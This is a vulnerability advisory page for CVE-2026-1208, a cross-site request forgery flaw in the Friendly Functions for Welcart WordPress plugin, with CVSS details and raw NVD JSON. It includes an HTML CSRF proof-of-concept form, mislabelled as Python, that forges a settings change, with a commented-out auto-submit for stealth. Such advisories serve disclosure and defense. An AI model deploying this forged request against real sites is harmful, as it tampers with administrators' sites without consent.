Security Vulnerability Report
中文
CVE-2026-1208 CVSS 4.3 MEDIUM

CVE-2026-1208

Published: 2026-01-24 09:15:54
Last Modified: 2026-04-15 00:35:42

Description

The Friendly Functions for Welcart plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2.5. This is due to missing or incorrect nonce validation on the settings page. This makes it possible for unauthenticated attackers to update plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Friendly Functions for Welcart plugin <= 1.2.5 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2026-1208 --> <!-- Exploit: Update plugin settings without authorization --> <!DOCTYPE html> <html> <head> <title>CSRF Attack PoC - CVE-2026-1208</title> </head> <body> <h1>CVE-2026-1208 CSRF PoC</h1> <p>Click the button below to trigger the forged request:</p> <!-- Auto-submit form --> <form id="exploitForm" action="https://target-site.com/wp-admin/admin-post.php" method="POST"> <input type="hidden" name="action" value="ffw_save_settings"> <input type="hidden" name="ffw_setting_key" value="malicious_value"> <input type="hidden" name="ffw_setting_data" value="injected_content"> <!-- Additional malicious settings can be added here --> </form> <button type="submit" onclick="document.getElementById('exploitForm').submit();">Click me</button> <script> // Auto-submit after page load (for stealthier attack) // window.onload = function() { document.getElementById('exploitForm').submit(); }; </script> </body> </html> <!-- Alternative: Direct link-based attack --> <!-- https://target-site.com/wp-admin/admin-post.php? action=ffw_save_settings& ffw_setting_key=malicious_key& ffw_setting_data=malicious_data -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1208", "sourceIdentifier": "[email protected]", "published": "2026-01-24T09:15:54.017", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Friendly Functions for Welcart plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2.5. This is due to missing or incorrect nonce validation on the settings page. This makes it possible for unauthenticated attackers to update plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin Friendly Functions para Welcart para WordPress es vulnerable a la falsificación de petición en sitios cruzados en todas las versiones hasta la 1.2.5, inclusive. Esto se debe a una validación de nonce faltante o incorrecta en la página de configuración. Esto permite que atacantes no autenticados actualicen la configuración del plugin a través de una petición falsificada, siempre que puedan engañar a un administrador del sitio para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/friendly-functions-for-welcart/tags/1.2.5/ffw_function_settings.php#L53", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/friendly-functions-for-welcart/tags/1.2.5/ffw_function_settings.php#L58", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3445305/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6cc709e0-870b-4d12-9ac8-55da498768a1?source=cve", "source": "[email protected]"}]}}